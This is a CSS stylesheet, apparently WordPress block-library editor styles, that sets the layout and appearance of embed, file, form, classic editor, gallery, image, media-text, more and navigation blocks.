.wp-block-embed .wp-block-embed__placeholder-input{
  flex:1 1 auto;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-file{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  justify-content:space-between;
  margin-bottom:0;
}
.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-file{
  text-align:center;
}
.wp-block-file .components-resizable-box__container{
  margin-bottom:1em;
}
.wp-block-file .wp-block-file__preview{
  height:100%;
  margin-bottom:1em;
  width:100%;
}
.wp-block-file .wp-block-file__preview-overlay{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-file .wp-block-file__content-wrapper{
  flex-grow:1;
}
.wp-block-file a{
  min-width:1em;
}
.wp-block-file a:not(.wp-block-file__button){
  display:inline-block;
}
.wp-block-file .wp-block-file__button-richtext-wrapper{
  display:inline-block;
  margin-left:.75em;
}

.wp-block-form-input .is-input-hidden{
  background:repeating-linear-gradient(45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  font-size:.85em;
  opacity:.3;
  padding:.5em;
}
.wp-block-form-input .is-input-hidden input[type=text]{
  background:#0000;
}
.wp-block-form-input.is-selected .is-input-hidden{
  background:none;
  opacity:1;
}
.wp-block-form-input.is-selected .is-input-hidden input[type=text]{
  background:unset;
}

.wp-block-form-submission-notification>*{
  background:repeating-linear-gradient(45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  opacity:.25;
}
.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{
  background:none;
  opacity:1;
}
.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{
  display:none !important;
}
.wp-block-form-submission-notification:after{
  align-items:center;
  display:flex;
  font-size:1.1em;
  height:100%;
  justify-content:center;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.wp-block-form-submission-notification.form-notification-type-success:after{
  content:attr(data-message-success);
}
.wp-block-form-submission-notification.form-notification-type-error:after{
  content:attr(data-message-error);
}

.wp-block-freeform.block-library-rich-text__tinymce{
  height:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{
  line-height:1.8;
}
.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{
  margin-left:0;
  padding-left:2.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce blockquote{
  border-left:4px solid #000;
  box-shadow:inset 0 0 0 0 #ddd;
  margin:0;
  padding-left:1em;
}
.wp-block-freeform.block-library-rich-text__tinymce pre{
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  white-space:pre-wrap;
}
.wp-block-freeform.block-library-rich-text__tinymce>:first-child{
  margin-top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce>:last-child{
  margin-bottom:0;
}
.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce a{
  color:var(--wp-admin-theme-color);
}
.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{
  background:#e5f5fa;
  border-radius:2px;
  box-shadow:0 0 0 1px #e5f5fa;
  margin:0 -2px;
  padding:0 2px;
}
.wp-block-freeform.block-library-rich-text__tinymce code{
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:14px;
  padding:2px;
}
.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{
  background:#ddd;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{
  display:block;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);
  background-position:50%;
  background-repeat:no-repeat;
  background-size:1900px 20px;
  cursor:default;
  display:block;
  height:20px;
  margin:15px auto;
  outline:0;
  width:96%;
}
.wp-block-freeform.block-library-rich-text__tinymce img::selection{
  background-color:initial;
}
.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{
  -ms-user-select:element;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{
  margin:0;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{
  display:block;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{
  -webkit-user-drag:none;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{
  margin:0;
  padding-top:.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview{
  border:1px solid #0000;
  clear:both;
  margin-bottom:16px;
  position:relative;
  width:99.99%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{
  background:#0000;
  display:block;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{
  display:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{
  border:1px dashed #ddd;
  padding:10px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{
  border:1px solid #ddd;
  margin:0;
  padding:1em 0;
  word-wrap:break-word;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{
  margin:0;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{
  border-color:#0000;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{
  display:block;
  font-size:32px;
  height:32px;
  margin:0 auto;
  width:32px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery a{
  cursor:default;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery{
  line-height:1;
  margin:auto -6px;
  overflow-x:hidden;
  padding:6px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{
  box-sizing:border-box;
  float:left;
  margin:0;
  padding:6px;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{
  margin:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{
  font-size:13px;
  margin:4px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{
  width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{
  width:50%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{
  width:33.3333333333%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{
  width:25%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{
  width:20%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{
  width:16.6666666667%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{
  width:14.2857142857%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{
  width:12.5%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{
  width:11.1111111111%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img{
  border:none;
  height:auto;
  max-width:100%;
  padding:0;
}

div[data-type="core/freeform"]:before{
  border:1px solid #ddd;
  outline:1px solid #0000;
}
@media not (prefers-reduced-motion){
  div[data-type="core/freeform"]:before{
    transition:border-color .1s linear,box-shadow .1s linear;
  }
}
div[data-type="core/freeform"].is-selected:before{
  border-color:#1e1e1e;
}
div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{
  margin-top:0;
  padding-top:0;
}
div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{
  clear:both;
  content:"";
  display:table;
}

.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{
  color:#1e1e1e;
}
.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{
  margin-left:8px;
  margin-right:0;
}
.mce-toolbar-grp .mce-btn i{
  font-style:normal;
}

.block-library-classic__toolbar{
  border:1px solid #ddd;
  border-bottom:none;
  border-radius:2px;
  display:none;
  margin:0 0 8px;
  padding:0;
  position:sticky;
  top:0;
  width:auto;
  z-index:31;
}
div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{
  border-color:#1e1e1e;
  display:block;
}
.block-library-classic__toolbar .mce-tinymce{
  box-shadow:none;
}
@media (min-width:600px){
  .block-library-classic__toolbar{
    padding:0;
  }
}
.block-library-classic__toolbar:empty{
  background:#f5f5f5;
  border-bottom:1px solid #e2e4e7;
  display:block;
}
.block-library-classic__toolbar:empty:before{
  color:#555d66;
  content:attr(data-placeholder);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:37px;
  padding:14px;
}
.block-library-classic__toolbar div.mce-toolbar-grp{
  border-bottom:1px solid #1e1e1e;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{
  height:auto !important;
  width:100% !important;
}
.block-library-classic__toolbar .mce-container-body.mce-abs-layout{
  overflow:visible;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{
  position:static;
}
.block-library-classic__toolbar .mce-toolbar-grp>div{
  padding:1px 3px;
}
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){
  display:none;
}
.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{
  display:block;
}

.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
  height:50vh !important;
}
@media (min-width:960px){
  .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){
    height:9999rem;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{
    height:100%;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{
    height:calc(100% - 52px);
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{
    display:flex;
    flex-direction:column;
    height:100%;
    min-width:50vw;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{
    display:flex;
    flex-direction:column;
    flex-grow:1;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
    flex-grow:1;
    height:10px !important;
  }
}
.block-editor-freeform-modal__actions{
  margin-top:16px;
}

:root :where(figure.wp-block-gallery){
  display:block;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{
  flex:0 0 100%;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{
  display:block;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{
  margin:4px 0;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{
  position:absolute;
  right:5px;
  top:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{
  margin:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{
  z-index:2;
}
:root :where(figure.wp-block-gallery) .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-right:8px;
}

.gallery-image-sizes .components-base-control__label{
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 8px 0 4px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}
.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  content:"";
  display:flex;
  flex:1 0 40px;
  min-height:38px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}

.block-library-html__edit .block-library-html__preview-overlay{
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.block-library-html__edit .block-editor-plain-text{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  direction:ltr;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
}
@media (min-width:600px){
  .block-library-html__edit .block-editor-plain-text{
    font-size:13px !important;
  }
}
.block-library-html__edit .block-editor-plain-text:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{
  min-height:60px;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}

.wp-block-image__placeholder{
  aspect-ratio:4/3;
}
.wp-block-image__placeholder.has-illustration:before{
  background:#fff;
  opacity:.8;
}
.wp-block-image__placeholder .components-placeholder__illustration{
  opacity:.1;
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align]:has(>.wp-block-image){
  position:relative;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container{
  pointer-events:auto;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__toolbar_content_textarea__container{
  padding:8px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}

.wp-block-latest-posts>li{
  overflow:hidden;
}

.wp-block-latest-posts li a>div{
  display:inline;
}

:root :where(.wp-block-latest-posts){
  padding-left:2.5em;
}

:root :where(.wp-block-latest-posts.is-grid),:root :where(.wp-block-latest-posts__list){
  padding-left:0;
}

.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}
.wp-block-media-text--placeholder-image{
  min-height:205px;
}

.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}
.editor-styles-wrapper .wp-block-navigation ul{
  margin-bottom:0;
  margin-left:0;
  margin-top:0;
  padding-left:0;
}
.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{
  margin:revert;
}

.wp-block-navigation-item__label{
  display:inline;
}
.wp-block-navigation-item,.wp-block-navigation__container{
  background-color:inherit;
}

.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{
  opacity:0;
  visibility:hidden;
}

.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{
  display:flex;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{
  opacity:1;
  visibility:visible;
}

.is-editing>.wp-block-navigation__container{
  display:flex;
  flex-direction:column;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{
  opacity:1;
  visibility:hidden;
}
.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{
  visibility:visible;
}

.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{
  display:block;
  position:static;
  width:100%;
}
.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{
  background:#1e1e1e;
  color:#fff;
  margin-left:auto;
  margin-right:0;
  padding:0;
  width:24px;
}

.wp-block-navigation__submenu-container .block-list-appender{
  display:none;
}
.block-library-colors-selector{
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__toggle{
  display:block;
  margin:0 auto;
  padding:3px;
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__icon-container{
  align-items:center;
  border-radius:4px;
  display:flex;
  height:30px;
  margin:0 auto;
  padding:3px;
  position:relative;
}
.block-library-colors-selector .block-library-colors-selector__state-selection{
  border-radius:11px;
  box-shadow:inset 0 0 0 1px #0003;
  height:22px;
  line-height:20px;
  margin-left:auto;
  margin-right:auto;
  min-height:22px;
  min-width:22px;
  padding:2px;
  width:22px;
}
.block-library-colors-selector .block-library-colors-selector__state-selection>svg{
  min-width:auto !important;
}
.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{
  color:inherit;
}

.block-library-colors-selector__popover .color-palette-controller-container{
  padding:16px;
}
.block-library-colors-selector__popover .components-base-control__label{
  height:20px;
  line-height:20px;
}
.block-library-colors-selector__popover .component-color-indicator{
  float:right;
  margin-top:2px;
}
.block-library-colors-selector__popover .components-panel__body-title{
  display:none;
}

.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{
  background-color:#1e1e1e;
  color:#fff;
  height:24px;
}
.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{
  padding:0;
}

.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{
  background-color:initial;
  color:#1e1e1e;
}
@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:.5;
  }
  to{
    opacity:1;
  }
}
.components-placeholder.wp-block-navigation-placeholder{
  background:none;
  box-shadow:none;
  color:inherit;
  min-height:0;
  outline:none;
  padding:0;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{
  font-size:inherit;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{
  margin-bottom:0;
}
.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{
  color:#1e1e1e;
}

.wp-block-navigation-placeholder__preview{
  align-items:center;
  background:#0000;
  color:currentColor;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  min-width:96px;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{
  display:none;
}
.wp-block-navigation-placeholder__preview:before{
  border:1px dashed;
  border-radius:inherit;
  bottom:0;
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview>svg{
  fill:currentColor;
}

.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{
  min-height:90px;
}

.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{
  min-height:132px;
}

.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{
  align-items:flex-start;
  flex-direction:row;
  padding:6px 8px;
}

.wp-block-navigation-placeholder__controls{
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:none;
  float:left;
  position:relative;
  width:100%;
  z-index:1;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{
  display:flex;
}
.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{
  display:none;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{
  align-items:flex-start;
  flex-direction:column;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{
  display:none;
}
.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{
  height:36px;
  margin-right:12px;
}

.wp-block-navigation-placeholder__actions__indicator{
  align-items:center;
  display:flex;
  height:36px;
  justify-content:flex-start;
  line-height:0;
  margin-left:4px;
  padding:0 6px 0 0;
}
.wp-block-navigation-placeholder__actions__indicator svg{
  margin-right:4px;
  fill:currentColor;
}

.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{
  flex-direction:row !important;
}

.wp-block-navigation-placeholder__actions{
  align-items:center;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  gap:6px;
  height:100%;
}
.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{
  margin-right:0;
}
.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{
  background-color:#1e1e1e;
  border:0;
  height:100%;
  margin:auto 0;
  max-height:16px;
  min-height:1px;
  min-width:1px;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{
    display:none;
  }
}

.wp-block-navigation__responsive-container.is-menu-open{
  position:fixed;
  top:155px;
}
@media (min-width:782px){
  .wp-block-navigation__responsive-container.is-menu-open{
    left:36px;
    top:93px;
  }
}
@media (min-width:960px){
  .wp-block-navigation__responsive-container.is-menu-open{
    left:160px;
  }
}

.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:141px;
}

